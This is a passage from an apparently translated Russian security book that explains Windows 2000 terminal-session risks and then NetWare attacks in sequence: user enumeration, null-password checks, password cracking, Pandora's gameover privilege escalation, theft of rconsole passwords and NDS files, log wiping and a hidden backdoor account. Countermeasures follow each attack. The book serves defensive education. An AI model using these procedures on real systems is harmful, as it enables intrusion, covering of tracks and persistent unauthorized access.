интерактивные сеансы от сеансов работы в режиме консоли. Выявление отключенных соединений с терминальным сервером Что может сделать взломщик, имея привилегии администратора на терминальном сервере? Если на момент подключения хакера с данными учетной записи Administrator последний представитель из группы администраторов забыл завершить терминальный сеанс (или несколько сеансов), то взломщик получит следующее информационное сообщение. Выбрав один из открытых сеансов, хакер может получить доступ к конфиденциальным документам или другим секретным данным, а также автоматически получить доступ к работающим приложениям, которые в другое время ему пришлось бы запускать вручную. Завершение терминальных сеансов Если просто закрыть окно клиента терминального сеанса или щелкнуть на кнопке Disconnect, сеанс останется активным. Для завершения терминального сеанса необходимо выбрать соответствующую опцию при выполнении команды Start^Shutdown или воспользоваться комбинацией клавиш <Ctrl+Alt+End> в режиме работы клиента терминального сервера. Приведем список других клавиатурных эквивалентов команд, доступных в режиме работы клиента терминального сервера. Во время подготовки этой книги к печати по адресу http://marvin.criad vcmtage.com/caspian/Software/SSHD-NT/default.php ПОЯВИЛСЯ набор бесплатных утилит Linux для DOS SSHD-NT. Утилиты SSH (Secure Shell) в течение многих лет обеспечивают безопасность удаленного управления UNIX-системами, поэтому на них возлагаются большие надежды и в области удаленного управления Win 2000. Предполагается, что набор SSHD-NT составит достойную альтернативу терминальному серверу в смысле безопасного удаленного управления из командной строки. Более подробная информация по SSH содержится в разделе часто задаваемых вопросов по Secure Shell по адресу http://www.employees.org/~satch/ssh/faq/ssh-faq.html. |
Регистраторы нажатия клавиш В Win 2000 по-прежнему хорошо работают программы, регистрирующие нажатия клавиш, NetBus и Invisible Key Logger Stealth (IKS), описанные в главе 5. |
Контрмеры общего назначения: новые средства обеспечения безопасности Windows В Win 2000 включены новые средства обеспечения безопасности. Теперь этот аспект гораздо лучше систематизирован, чем в NT 4. Эти утилиты позволяют жестко настроить защиту системы во имя избежания возможных брешей в защите. |
Политика групп Одним из наиболее мощных новых средств в Win 2000 является политика групп, которая уже несколько раз упоминалась в этой главе. Объекты политики групп могут храниться как в активном каталоге, так и на локальной машине, и определять параметры конфигурации в масштабах домена или одного компьютера соответственно. Политику групп можно применять к узлам, доменам или организационным единицам. Параметры политики наследуются пользователями или компьютерами, входящим в состав этих единиц ("участниками" группы). Объекты политики групп обеспечивают один из способов защиты больших доменов Win 2000. Однако зачастую политика уровня домена может входить в противоречие с локальной политикой. Кроме того, губительный результат может иметь задержка, возникающая до вступления в силу политики групп. Такую задержку можно устранить, например, с помощью утилиты secedit (эта утилита более подробно обсуждается в следующем разделе), выполняющей немедленное обновление политики. Для обновления политики с помощью утилиты secedit откройте диалоговое окно Run и введите команду secedit /refreshpolicy MACHINE_POLICY
Средства настройки безопасности Для настройки политики групп можно воспользоваться набором утилит для настройки безопасности, в состав которого входят две программы: Security Configuration and Analysis и Security Templates. Команда runas К радости поклонников операционной системы UNIX в состав Win 2000 включена собственная команда переключения привилегий пользователей runas (аналог su). Команда Run as теперь доступна через контекстное меню. |
Резюме В этой главе мы лишь слегка коснулись многочисленных изменений, относящихся к Win 2000, однако проверка программ взлома для NT 4 показала существенное повышение безопасности в новой версии операционной системы. Вселяет оптимизм также добавление распределенной политики безопасности в Win 2000. Однако окончательные выводы о защищенности этой операционной системы можно будет сделать только в процессе ее широкого использования. Для полного выявления всех брешей системы NT 4 понадобилось несколько лет. Примерно столько же времени потребуется и для досконального изучения Win 2000. Приведем несколько советов, основанных на материале этой главы, главы 5, а также материалах многочисленных ресурсов Internet по безопасности Win 2000.
|
Глава 7. УЯЗВИМОСТЬ NOVELL NETWARE
|
Уязвимость NOVELL NETWARE Стандартным заблуждением относительно компании Novell является то, что ее программные продукты несколько устарели и утратили актуальность (по крайней мере в этом нас стараются убедить сообщества Microsoft и UNIX). Несмотря на отсутствие настойчивой рекламы, а также на то, что в последние годы рынок программного обеспечения компании Novell не расширялся, до ее забвения все же еще очень далеко. Во всем мире имеется более сорока миллионов пользователей NetWare, и риск потери важных корпоративных данных чрезвычайно высок. В этой книге будут рассматриваться различные версии NetWare, однако основное внимание мы уделим системе NetWare 4.x с клиентом Client32 — наиболее популярной в настоящее время. Однако если вы приобрели NetWare 5, не расслабляйтесь: многие из описываемых в данной главе атак, а также контрмеры против них по-прежнему актуальны. |
Соединение без регистрации Первым шагом взломщика является создание анонимного соединения (attachment) с сервером Novell. Для того чтобы разобраться с понятием "соединения", нужно понять, что происходит в процессе регистрации NetWare. Процесс регистрации на сервере NetWare реализован компанией Novell следующим образом. До аутентификации сервером к нему необходимо сначала присоединиться. Соединение и регистрация не являются взаимозаменяемыми. Другими словами, если регистрация завершилась неудачно, то соединение будет сохранено. Так что для соединения нет необходимости использовать корректное имя пользователя и пароль. Как вы скоро узнаете, присоединившись к компьютеру с системой NetWare, взломщик может сразу же приступать к своему черному делу. On-Site Admin В набор средств обеспечения безопасности администратор должен включить утилиту On-Site Admin. Она представляет собой средство администрирования NetWare с графическим интерфейсом, разработанное компанией Novell. Утилита On-Site Admin предоставляет информацию о серверах и деревьях, а также практически исчерпывающие данные, позволяющие оценить состояние системы защиты. При разработке этого приложения разработчики Novell приняли разумное решение, однако его можно использовать и против вас. Достаточно забавно, что теперь приложение On-Site Admin является одним из основных средств хакинга Novell. snlist и nslist Утилиты snlist и nslist позволяют создать соединение с сервером точно так же, как и приложение On-Site Admin, только из командной строки. Утилита snlist работает быстрее nslist и хорошо подходит для наших целей, однако nslist оказывается не менее полезной, поскольку позволяет получить полный адрес сервера. Обе программы можно использовать без параметров, чтобы присоединиться ко всем серверам локальной сети. Такой способ соединения создает предпосылки для того, чтобы в полной мере "вкусить прелести" хакинга. Если у вас возникли проблемы соединения с серверами Novell, проверьте наличие основного сервера. Для этого откройте диалоговое окно NetWare Connections и убедитесь в том, что в нем имеется сервер, перед именем которого указан символ *. Перед выполнением этих операций необходимо, чтобы существовал как минимум один присоединенный сервер. Если после этого проблема не исчезла, выделите другой сервер и щелкните на кнопке Set Primary. При использовании утилит командной строки необходимо запустить новый сеанс командной строки (cmd.exe для NT или command. com для Win 9x). В противном случае возникнет много ошибок и потребуется потратить много времени на их устранение.
Контрмеры против соединения Нам неизвестно ни одного механизма, с помощью которого можно отключить возможность соединения с сервером NetWare. В настоящее время этот вопрос остается нерешенным, в том числе и в NetWare 5. |
Инвентаризация связки и деревьев В состоянии "зомби", когда установлено соединение без регистрации, можно получить огромное количество информации, гораздо больше, чем можно себе представить. Такие средства, как userinfo, userdump, finger, bindery, bindin, nlist и сх, позволяют получить данные о связке. Приложения, подобные On-Site Admin, предоставляют информацию о дереве NDS. Все вместе эти утилиты обеспечивают взломщика большими знаниями, которые позволят ему получить доступ к серверам. Помните о том, что вся необходимая информация доступна через единственное соединение с сервером Novell. userinfo Мы используем утилиту userinfo версии 1.04, которая изначально называлась NetWare User Information Listing. Написанная Тимом Швабом (Tim Schwab), утилита позволяет быстро получить дамп всех пользователей, содержащихся в структуре связки сервера. Утилита userinfo позволяет также осуществлять поиск по одному имени пользователя. Для этого достаточно указать его в качестве параметра. Как видно из следующего рисунка, присоединившись к серверу SECRET и запустив утилиту userinfo, можно извлечь имена всех пользователей системы, включая идентификатор каждого пользовательского объекта (object JD).
userdump Утилита userdump версии 1.3 Роя Коуша (Roy Coates) аналогична userinfo в том, что отображает все пользовательские имена на присоединенном сервере, однако в то же время она предоставляет и полные имена, как видно из следующего рисунка. Эта информация может пригодиться взломщикам для выполнения задач социальной инженерии. Например, можно позвонить в отдел технической поддержки компании и попросить обнулить пароль пользователя, имя которого стало известно.
finger Для инвентаризации пользователей системы нет необходимости использовать утилиту finger. Однако мы включили ее в этот раздел, поскольку она оказывается полезной, когда требуется определить, существует ли в системе определенный пользователь. Например, взломщик мог проникнуть на компьютер под управлением системы NT или UNIX и получить несколько имен пользователей и паролей. Кроме того, ему известно, что (а) пользователи зачастую имеют учетные записи на других узлах и (б) для простоты они пользуются одним и тем же паролем. Следовательно, полученными пользовательскими именами и паролями взломщик может воспользоваться для проникновения в другие системы, например серверы Novell. Для поиска пользователей в системе просто введите команду finger <имя-пользователя>. bindery Выявить пользователей, имеющихся на сервере, очень важно. Однако для того чтобы предпринять попытку проникновения, взломщику необходимо иметь в своем распоряжении немного больше информации. Например, кто из пользователей принадлежит к группе администраторов9 Программа NetWare Bindery Listing версии 1.16, разработанная компанией Manth-Brownell, Inc., предоставляет информацию практически о любом объекте связки (bindery object) (рис. 7.1). Программа bindery позволяет также отправить запрос об одном пользователе или группе. Например, просто введите команду bindery admins, чтобы получить список членов группы Admins. Параметр /В пригодится при одновременном просмотре большого количества объектов, поскольку в этом случае вывод информации будет выполняться по одной строке для каждого объекта.
bindin Как и программа bindery, bindin позволяет просмотреть различные объекты, такие как серверы, пользователи и группы, однако имеет более организованный интерфейс. Как и bindery, утилита bindin позволяет извлечь и данные о членстве в группах. Так что с ее помощью можно получить список пользователей из наиболее важных групп, таких как MIS, IT, ADMINS, GENERALADMINS, LOCALADMINS И Т.Д.
nlist Утилита nlist содержится в папке SYS: PUBLIC системы NetWare и заменяет утилиту NetWare З.д: si 1st, позволяющую просматривать все серверы сети NetWare. В то же время утилита nlist предоставляет гораздо более широкие возможности, а именно позволяет просматривать данные о пользователях (user), группах (group), серверах (server), очередях (queue) и томах (volume). В основном она служит для получения перечня пользователей на сервере Novel и групп, к которым они принадлежат.
Утилиту nlist особенно полезно использовать для получения свойств объекта, таких как должность (title), фамилия (surname), номер телефона (phone number) и др. СХ Небольшая утилита Change Context (сх) при каждой установке системы NetWare 4.x помещается в папку SYS: PUBLIC. Она отображает информацию о дереве NDS или о его небольшой части. Эта утилита оказывается чрезвычайно полезной при поиске определенных объектов внутри дерева. Например, если на определенном сервере взломщик узнал пароль пользователя ECULP, то с помощью утилиты сх можно выполнить поиск во всем дереве NDS других серверов, которые способны аутентифицировать данного пользователя. Вот несколько примеров использования утилиты сх.
Если при использовании команд сх у вас возникают проблемы (например, генерируются такие ошибки, как сх-4 .20-240), то в дальнейшем лучше прибегнуть к утилите просмотра дерева On-Site, которая подробно рассматривается ниже в данной главе. Подобная проблема иногда возникает при удаленных соединениях с сетью. При этом генерируются такие ошибки, как СХ-4.20-240: The context you want to change to does not exist.
On-Site Administrator Как вы узнали из главы 3, по умолчанию система NetWare разрешает просматривать все дерево NDS любому пользователю. Данные, полученные в результате просмотра дерева, могут оказаться чрезвычайно полезными для взломщика, поскольку графически отображают каждый объект дерева, включая контейнеры, серверы, пользователей, группы, принтеры и т.д.
Контрмеры против инвентаризации Защититься от прав просмотра [PUBLIC] объекта [ROOT] , устанавливаемого в системе NetWare 4.x по умолчанию, можно двумя способами. Наши рекомендации можно найти в главе 3. |
Поиск "незакрытых" дверей После того как взломщики составили представление о самом "здании" (пользователях и серверах), можно перейти к подбору ключей к дверным замкам (подбору паролей). Наиболее вероятно, что для решения этой задачи взломщики попробуют зарегистрироваться. Сейчас в их распоряжении имеются все имена пользователей. Осталось лишь узнать несколько паролей. chknull Для взломщика (и администратора) чрезвычайно важное значение имеют несколько утилит системы NetWare, в частности chknull. Эта утилита имеется на серверах NetWare 3.x и 4.x, на которых установлен контекст связки. Она оказывается абсолютно бесценной как для взломщиков, так и для администратора, и позволяет выполнять поиск пустых или легко подбираемых паролей. Не забывайте о том, что при создании новой учетной записи система NetWare не требует задания пароля (если не используется соответствующий шаблон). В результате многие пользовательские учетные записи создаются с нулевыми паролями, оставляя тем самым "широко распахнутые двери" на многие серверы Novell. Эту проблему усложняет еще то обстоятельство, что для многих пользователей простота важнее обеспечения безопасности. В результате подавляющее большинство пользователей применяют легко запоминающиеся пароли (что зачастую приводит к нарушению политики обеспечения безопасности). Usage: chknull [-p] [-n] [-v] [wordlist .,.] Примечательной особенностью поиска нулевых паролей является то, что при каждой попытке запись о неудачной попытке регистрации не создается. Последний параметр утилиты chknull (поддерживающий поиск паролей по словам, заданным в командной строке) работает не всегда, так что не стоит возлагать на него большие надежды. Если в процессе инвентаризации сервера возникли проблемы с использованием утилиты chknull, проверьте наличие основного сервера (его можно задать, щелкнув на кнопке Set Primary). Сделать это можно в диалоговом окне NetWare Connections.
Контрмеры против использования chknull Защититься от утилиты chknull очень просто. Однако в зависимости от конкретной ситуации все же могут возникнуть различные трудности. Любая из следующих рекомендаций позволит воспрепятствовать успешному применению утилиты chknull.
1. Выберите команду Details. |
Инвентаризация после аутентификации Теперь понятно, как много информации предоставляют серверы NetWare. Вас это еще не испугало? Прекрасно, после аутентификации взломщики смогут получить еще больше данных. userlist /a Утилиту userlist нельзя использовать просто после соединения с сервером, так что предварительно нужно узнать корректное имя пользователя и пароль (с помощью chknull). Она предоставляет те же возможности, что и программа On-Site, однако используется в командной строке, что позволяет применять ее в сценариях (см. рисунок ниже). Утилита userlist предоставляет взломщику важную информацию, включая полный адрес сети и узла, а также время регистрации. On-Site Admin После аутентификации на сервере NetWare можно снова воспользоваться программой On-Site, уже для просмотра всех текущих соединений с сервером. Просто выберите с помощью мыши требуемый сервер, а затем щелкните на кнопке Analyze. В результате будет получена основная информация не только о томе, но и обо всех текущих соединениях (рис. 7.4).
NDSsnoop В различных ситуациях программа NDSsnoop может принести различную пользу. Однако если вы сможете ею воспользоваться, то это окажется чрезвычайно полезным. После успешного прохождения аутентификации программу NDSsnoop можно применять для просмотра в графическом режиме подробных данных обо всех объектах и свойствах (подобно утилите nlist /ot = * /dyn /d, рассмотренной выше), включая свойство Equivalent To Me. Проверка активности режима блокировки вторжений Этот режим является встроенной возможностью системы NetWare. При его включении учетная запись пользователя будет заблокирована после заданного числа неудачных попыток регистрации. К сожалению, по умолчанию режим блокировки вторжений (intruder lockout) отключен. Этот режим должен быть всегда включен. Его очень важно использовать для отражения атак взломщиков, направленных на получение доступа к серверу. После установки соответствующего флажка (рис. 7.6) убедитесь, что требуемые изменения внесены и в свойства каждого контейнера дерева.
Как только взломщик приготовился атаковать определенного пользователя, обычно он предпринимает попытку определить, включен ли режим блокировки вторжений. Если да, то потребуется быть гораздо более осторожным. Вы будете удивлены, как много администраторов пренебрегают этой возможностью. Возможно, это происходит из-за недостатка знаний, недостаточного понимания важности использования этого режима или просто из-за слишком большой нагрузки по администрированию. Вот описание методологии, зачастую применяемой для определения состояния режима блокировки вторжений. И на системной консоли появится следующее сообщение. 4-08-99 4:29:28 pm: DS-5.73-32 После около двадцати неудачных попыток регистрации без получения сообщения login failure status с достаточной степенью вероятности можно сказать, что режим блокировки вторжений на исследуемом сервере отключен. Контрмеры против проверки активности режима блокировки вторжений Мы не знаем способов, с помощью которых можно обнаружить взломщиков, пытающихся проверить, включен ли режим блокировки вторжений. Насколько нам известно, подавить отображение подобных сообщений в системе NetWare нельзя. Лучше всего проявлять настойчивость и постоянно следить за сообщениями на консоли сервера. Кроме того, отслеживайте до конца все случаи подозрительной блокировки независимо от того, насколько важным это может показаться. |
Получение привилегий администратора Как было продемонстрировано выше, в большинстве случаев получить доступ на уровне пользователей очень просто. Для этого достаточно воспользоваться утилитой chknull, чтобы обнаружить пользователей без паролей, либо прибегнуть к их подбору. Следующим шагом большинства взломщиков будет получение прав администратора на сервере или дереве. Для решения этой задачи существует два основных метода:
Несанкционированное получение данных На этой стадии многие злонамеренные взломщики будут предпринимать попытки несанкционированного получения данных. Другими словами, они будут пытаться зарегистрироваться везде, где это возможно, и найти доверчивых пользователей, хранящих пароли в незашифрованном виде. Такой подход способен принести гораздо больше выгоды, чем это может показаться на первый взгляд.
He забывайте о том, что пользователь, с помощью учетной записи которого вы зарегистрировались, может и не иметь доступа ко всем этим каталогам. Однако вы можете оказаться счастливчиком. Каталоги SYSTEM и ETC особенно важны, поскольку в них содержатся жизненно важные конфигурационные файлы сервера. Их может просмотреть лишь пользователь с правами администратора. Контрмеры против несанкционированного получения данных Контрмеры, позволяющие предотвратить попытки взломщика несанкционированно получить данные на томах NetWare просты и очевидны. Оба совета предполагают ограничение прав пользователей.
nwpcrack Утилита nwpcrack представляет собой средство взлома паролей систем NetWare 4.x С ее помощью можно взломать пароль определенного пользователя с использованием словаря. В приведенном примере была обнаружена группа администраторов. После регистрации в качестве пользователя появляется возможность увидеть пользователей, имеющих права, эквивалентные администраторам, или просто тех из них, кто является членом группы администраторов, MIS и т.д. Проделав это, в группе администраторов были обнаружены пользователи DEOANE и JSYMOENS. Именно с них и стоит начать атаку.
Не пытайтесь применять утилиту nwpcrack к учетным записям администраторов, если включен режим блокировки вторжений. В противном случае может быть заблокирована учетная запись за пределами дерева. Перед тестированием с помощью утилиты nwpcrack учетной записи ADMIN (или эквивалентной) нужно создать ее резервную копию. В системе Windows NT не может возникнуть подобного состояния DoS, поскольку в ней нельзя заблокировать исходную учетную запись администратора, если не используется дополнительная утилита из набора NTRK, passprop. Если с помощью утилиты nwpcrack будет обнаружен активный режим выявления вторжений, то вы получите сообщение tried password«password» с тем же паролем, выведенным повторно. Это будет свидетельствовать о том, что сервер NetWare больше не будет принимать запросы на регистрацию от этого пользователя. Тогда нужно нажать комбинацию клавиш <Ctrl+C>, чтобы выйти из программы, поскольку в противном случае на консоли сервера появится хорошо знакомое сообщение DS-5.73-32: intruder lock-out on account Admin ("Блокирование вторжения для учетной записи Admin"). А это совсем не входит в планы взломщика.
Контрмеры: защита от утилиты nwpcrack Защититься от подбора пароля пользователей (скорее всего, администраторов) с помощью утилиты nwpcrack очень просто. Вот некоторые рекомендации.
|
Изъяны приложений В терминах служб TCP/IP после установки системы NetWare по умолчанию используется лишь несколько открытых портов, включая Echo (7) и Chargen (19) — не очень много для потенциальных атак (за исключением очевидной генерации состояния отказа в обслуживании, DoS). Однако при добавлении служб Web, FTP, NFS и telnet появляются новые открытые порты, такие как 53, 80, 111, 888, 893, 895, 897, 1031 и 8002. Сценарии Perl в системе NetWare Первоначально проблема была обнаружена в начале 1997 года, так что если вы используете более ранние версии системы NetWare 4.x или IntraNetWare, то потери защищенности может и не возникнуть. Однако суть проблемы заключается в том, что взломщик может выполнять сценарии Perl из любого места тома, включая рабочие каталоги пользователей и системные каталоги, такие как LOGIN и MAIL. Контрмеры: защита от сценариев Perl К сожалению, предлагаемая контрмера далеко не идеальна и заключается в том, чтобы либо полностью отказаться от использования службы, либо обновить ее до новой версии. Другими словами, выполните одно из следующих действий.
или
Служба FTP системы NetWare Этот изъян средств поддержки FTP присутствует лишь в исходной FTP-службе IntraNetWare. Конфигурационные параметры, используемые по умолчанию, разрешают анонимным пользователям доступ File Scan к каталогу SYS:ETC. В этом каталоге содержится файл netinfo.cfg (и другие важные конфигурационные файлы). Контрмеры: защита службы FTP Принципы зашиты службы FTP системы NetWare аналогичны контрмерам против использования сценариев Perl. Необходимо либо запретить использование службы либо обновить программное обеспечение.
Версия ftpserv.nlm для системы NetWare 4.11 по умолчанию запрещает анонимный доступ пользователей. Web-сервер NetWare Об уязвимости Web-сервера системы NetWare стало известно в 1996 году. Более ранние версии Web-сервера системы NetWare 4.x не способны проверять параметры, передаваемые его файлу convert.bas сценариями на языке Basic. В результате взломщики могут без проблем увидеть любой файл системы, включая autoexec.ncf, Idremote.ncf и netinfo.cfg. Для проверки степени уязвимости вашего сервера выполните следующие действия. Контрмеры: защита Web-сервера NetWare Выполните обновление до самой последней версии Web-сервера компании Novell, обратившись по адресу http://www.support.novell.com, или как минимум до версии 2.51R1, Компанией Novell были исправлены сценарии Basic, содержащиеся в каталоге SCRIPTS. Теперь с их помощью можцо открыть лишь определенные файлы, перечень которых жестко ограничен. |
Ложные атаки (PANDORA) Если все предыдущие попытки получения привилегий администратора закончились неудачей, то можно прибегнуть к нескольким ложным атакам с применением пакетов NCP. Средства для осуществления таких атак разработаны в центре исследований NMRC (Nomad Mobile Research Center, http://www.nmrc.org) и называются Pandora (http://www.nmrc.org/pandora/download.html). В настоящее время доступна версия 4.0, однако в данной книге рассматриваются возможности версии 3.0. Для работы пакета Pandora необходимо выполнение нескольких обязательных условий.
gameover Одного имени утилиты gameover вполне достаточно, чтобы узнать, для чего она предназначена. Утилита gameover позволяет взломщику предоставить пользователю привилегии, эквивалентные администратору. Это достигается с помощью передачи серверу 4.x ложного NCP-запроса, в результате чего им будет обработан запрос SET EQUIVALENT TO.
Запустите утилиту gameover следующим образом. Gameover<cr> После этого можно зарегистрироваться в качестве пользователя ECULP и получить права администратора. Здорово, не правда ли? Контрмеры: защита от утилит Pandora Для защиты от утилит из пакета Pandora существует много различных способов, и их перечень во многом зависит от архитектуры узла NetWare. Вообще, для предотвращения хакинга с применением описанных средств нужно следовать следующим рекомендациям:
|
Получив права администратора на сервере... С этого момента самая тяжелая часть работы взломщика осталась позади. Теперь в его распоряжении права администратора сервера и, скорее всего, значительная часть дерева. Следующим шагом является получение доступа к утилите rconsole сервера и сбор файлов NDS. Хакинг утилиты rconsole Получить пароль к утилите rconsole можно несколькими способами, однако на самом деле существует лишь один простой путь, который зависит от степени медлительности администратора. По умолчанию пароль к утилите rconsole хранится в виде незашифрованного текста. Это можно проверить следующим образом.
Контрмеры против использования незашифрованных паролей утилиты rconsole Предотвратить такую опасность очень просто. Компания Novell предлагает механизм шифрования пароля утилиты rconsole с помощью команды remote encrypt. Вот что для этого необходимо сделать. В настоящее время не существует модулей обновления, позволяющих защититься от декодирования зашифрованных паролей утилиты rconsole (а ля Разрушитель!). Для получения самой свежей информации по этому вопросу регулярно обращайтесь ПО адресу http://oliver.efri.hr/~crv/security/bugs/ |
Получение доступа к файлам NDS После приобретения пароля утилиты rconsole осталось выполнить завершающий шаг — получить доступ к файлам NDS. В системе NetWare файлы NDS содержатся в скрытом каталоге _netware тома SYS. Доступ к этому каталогу можно получить лишь через доступ к консоли (для взломщика — утилите rconsole). Для "захвата" файлов NDS существует много методов. И как вы скоро убедитесь, у каждого взломщика имеются свои любимые приемы. netbasic. nlm (SYS: SYSTEM) Набор средств разработки программного обеспечения NetBasic представляет собой язык сценариев, который изначально был разработан компанией High Technology Software Corp. (для краткости HiTecSoft). С его помощью можно конвертировать сценарии NetBasic в формат NLM (NetWare Loadable Module) компании Novell и использовать их на Web-сервере системы NetWare. Компонент netbasic.nlm имеет уникальную особенность, которая изначально была обнаружена взломщиками: с его помощью из командной строки можно про смотреть весь том, включая скрытый каталог _netware. dsmaint Может оказаться, что на целевом сервере язык сценариев NetBasic не установлен. В этом случае придется воспользоваться альтернативным средством — dsmaint. Этот модуль NLM не является стандартным компонентом NetWare 4.11, однако его можно загрузить с Web-узла компании Novell http://www. support.novell.com. Файл называется DS411P.EXE. Однако будьте осторожны: при использовании компонента dsmaint работа службы каталога будет автоматически завершена, так что не стоит использовать его в рабочее время. Для того чтобы вернуться к исходному состоянию службы каталогов, необходимо запустить процесс восстановления. Другими словами, эти действия лучше не выполнять на рабочем сервере. jcmd За последние шесть лет компания JRB Software Limited разработала прекрасные утилиты для системы NetWare, многие из которых можно применять для аудита ее системы безопасности. Однако в отличие от сценариев NetBasic, утилита jcmd не позволяет скопировать открытые файлы NDS. Так что, как и модуль dsmaint.nlm, ее не рекомендуется устанавливать на рабочем сервере. Для обхода этого ограничения необходимо выгрузить службу каталогов. Чтобы скопировать файлы NDS с помощью утилиты jcmd, выполните следующие действия. 8. dir *.* (для того чтобы с помощью модуля jcmd увидеть имена файлов, нужно использовать символы шаблона) Контрмеры против "захвата" файлов NDS Меры защиты против "захвата" данных NDS сводятся к уменьшению количества средств, которые могут быть для этого использованы. Взлом файлов NDS Как только взломщики смогли скопировать файлы NDS, можно считать, что они выполнили большую часть поставленной задачи. Сделайте все возможное, чтобы не допустить этого. Как только получены файлы NDS, взломщики, скорее всего, предпримут попытку взломать эти файлы, воспользовавшись специальными средствами. Для этого подойдет любая из свободно распространяемых программ, например IMP, разработанная Шейдом (Shade), или утилиты crypto/crypto2 из пакета Pandora. 4. Запустите утилиту crypto или crypto2 для взлома файла password.nds "в лоб" или с использованием словаря, как показано на следующем рисунке.
IMP 2.0 Программа IMP, разработанная Шейдом (Shade), имеет графический интерфейс и позволяет использовать оба режима: прямого взлома и с использованием словаря. Второй режим оказывается чрезвычайно быстрым: при использовании словаря размером 933,224 слов весь процесс на компьютере Pentium с частотой 200 МГц занимает лишь несколько минут. Единственным ограничением программы IMP является то, что пароли всех учетных записей должны иметь одну и ту же длину (к счастью, IMP рядом с именем пользователя отображает и длину пароля).
|
Редактирование журналов регистрации Профессиональные взломщики обязательно выполнят эту задачу, чтобы скрыть следы своей деятельности. Сделать это можно, отключив систему аудита, изменив время последнего обращения и модификации файлов, а также откорректировав файлы журналов. Отключение системы аудита При выполнении своих злонамеренных действий умные взломщики обязательно проверят, установлена ли система аудита, а затем отключат регистрацию определенных событий. Вот несколько шагов, которые предпримет взломщик, чтобы отключить систему аудита для службы каталогов и серверов. Изменение атрибутов файлов Если взломщик изменил файл autoexec.ncf или netinfo.cfg, то ему вряд ли захочется, чтобы об этом кому-либо стало известно. Для изменения даты последнего обращения к этим файлам прекрасно подходит утилита SYS:PUBLIC\filer. Как и команда touch систем UNIX и NT, filer — это утилита DOS, предназначенная для поиска файлов и изменения их атрибутов. Модифицировать атрибуты файла очень просто. Для этого нужно сделать следующее. |
Журналы консольных сообщений Утилита conlog.nlm предоставляет возможность записи консольных сообщений и ошибок, например о выявлении вторжений и блокировании учетных записей. Получив доступ к утилите rconsole, взломщик без проблем может ввести команду unload conlog, отключив режим регистрации сообщений в файле, а затем снова включить этот режим и возобновить запись сообщений в совершенно новый файл console.log. При этом предыдущий файл удаляется, а вместе с ним и все записанные ошибки и сообщения. Грамотный системный администратор должен рассматривать такую ситуацию как попытку взлома. К сожалению, на практике ее иногда относят к разряду необъяснимого. Контрмеры против редактирования журналов регистрации Следите за изменениями файлов console.log и sysSerr.log. Порекомендовать какие-либо простые способы защиты нельзя. Контролируйте администраторов (или взломщиков), которые знают о том, что решаемая ими задача может оказаться неразрешимой. И проверяйте содержимое файлов журналов в надежде на то, что в них найдут отражение сообщения об отключении системы аудита. "Потайные ходы" Самым эффективным "потайным ходом" системы NetWare является то, чего вы никогда не сможете добиться самостоятельно,— "осиротевшие" объекты (orphaned object). Использование скрытого объекта OU (Organizational Unit), содержащего пользователя с правами, эквивалентными администратору, и правами опекунства на свой собственный контейнер, позволит эффективно скрыть этот объект. При выполнении п. 8 будьте осторожны, поскольку после этого контейнер и созданный объект-пользователь станут невидимыми для всех пользователей, включая Admin. Администраторы не смогут увидеть или удалить этот объект. Сокрытие объекта от администратора оказывается возможным из-за того, что в дереве NDS можно отменить права supervisor для любого объекта или свойства. 9. Теперь зарегистрируйтесь с помощью только что созданного "потайного хода". Не забывайте, что в дереве вы не сможете увидеть новый контейнер. Следовательно, в процессе регистрации потребуется ввести контекст вручную, как видно на следующем рисунке. Для получения более подробной информации обратитесь на Web-узел хакерской лаборатории NMRC (Nomad Mobile Research Centre) (http://www.nmrc.org). Симпл Номад (Simple Nomad) подробно описал эту технологию в разделе Unofficial Hack FAQ по адресу http://www.nmrc.org/faqs/hackfaq/ hackfaq.html. Контрмеры против "потайныхходов" Для защиты от подобных нападений можно использовать несколько средств, как свободно распространяемых, так и коммерческих. |
Резюме Несмотря на большой путь, пройденный компанией Novell в процессе разработки надежной сетевой операционной системы, многие вопросы обеспечения безопасности оказались вне ее поля зрения. В данной главе вы увидели, насколько легко предпринять атаку на сервер NetWare, получить доступ к дереву NDS и серверу на уровне пользователей, а затем — с правами администратора. Были рассмотрены различные слабые стороны системы NetWare, а также средства, с помощью которых взломщик может получить полный контроль на всем деревом NDS. |
Глава 8. УЯЗВИМОСТЬ UNIX
|
Уязвимость UNIX Бытует мнение, что стремление получить доступ к системе UNIX в качестве пользователя root столь же неискоренимо, как наркотическая зависимость. Причина интереса к таким привилегиям уходит корнями в те времена, когда система UNIX только появилась на свет, поэтому мы предпримем небольшой исторический экскурс и напомним, как эта система возникла и как развивалась. |
root: в поисках сокровища В 1969 году Кен Томпсон (Ken Thompson), к которому несколько позднее присоединился его коллега по работе в компании AT&T Дэнис Ричи (Denis Richie), решили, что проект MULTICS (Multiplexed Information and Computing System) развивается слишком медленно. Они приняли решение "подтолкнуть" этого проект, и в результате появилась новая операционная система, названная UNIX, которая навсегда изменила мир компьютеров. Система UNIX проектировалась как развитая, производительная, многопользовательская операционная система, которая должна была показывать прекрасные результаты при выполнении программ, особенно небольших программ, названных инструментами (tool). Обеспечение безопасности не было ключевым требованием к системе, однако при правильном подходе к настройке UNIX может обеспечивать высокую степень безопасности. Популярность UNIX стала результатом ее открытости для доработок и расширений функций ядра системы, а также благодаря многочисленным небольшим инструментам, делающей эту систему столь мощной. Первые работы по созданию и развитию UNIX велись в основном в компании Bell Labs или в университетах, где безопасность обеспечивалась путем физических мероприятий. Иными словами, любой, кто имел физический доступ к системе UNIX, автоматически считался авторизованным пользователем. Очень часто защита учетной записи root с помощью пароля считалась чем-то ненужным и раздражающим, в связи с чем она отключалась. |
Краткий обзор Как вы, должно быть, помните, в главах 1-3 мы рассматривали, как идентифицировать систему, работающую под управлением UNIX, и провести инвентаризацию информации, доступной на этой системе. Для этого мы использовали средства сканирования портов, такие как nmap, позволяющие установить перечень открытых TCP/UDP портов, а также определить версию операционной системы или устройства. Для инвентаризации служб RPC и точек монтирования NFS мы использовали, соответственно, утилиты rpcinfo и showmount. Мы также использовали такую универсальную утилиту, как netcat (nc) для сбора маркеров, с помощью которых можно легко установить, какие приложения и каких версий используются на исследуемом компьютере. В этой главе мы продолжим изучение методов исследования системы UNIX. Необходимо помнить, что, прежде чем приступать к глубокому исследованию системы, необходимо провести тщательную подготовку, позволяющую получить как можно более полную картину сетевого окружения и конфигурации изучаемой системы. Сбор информации должен быть как можно более тщательным, чтобы не упустить из виду ни одной детали. Только после получения такой информации можно делать какие-то предположения о потенциальных изъянах, которые могут присутствовать в системе зашиты изучаемого компьютера. Этот процесс называется составлением схемы уязвимых мест. |
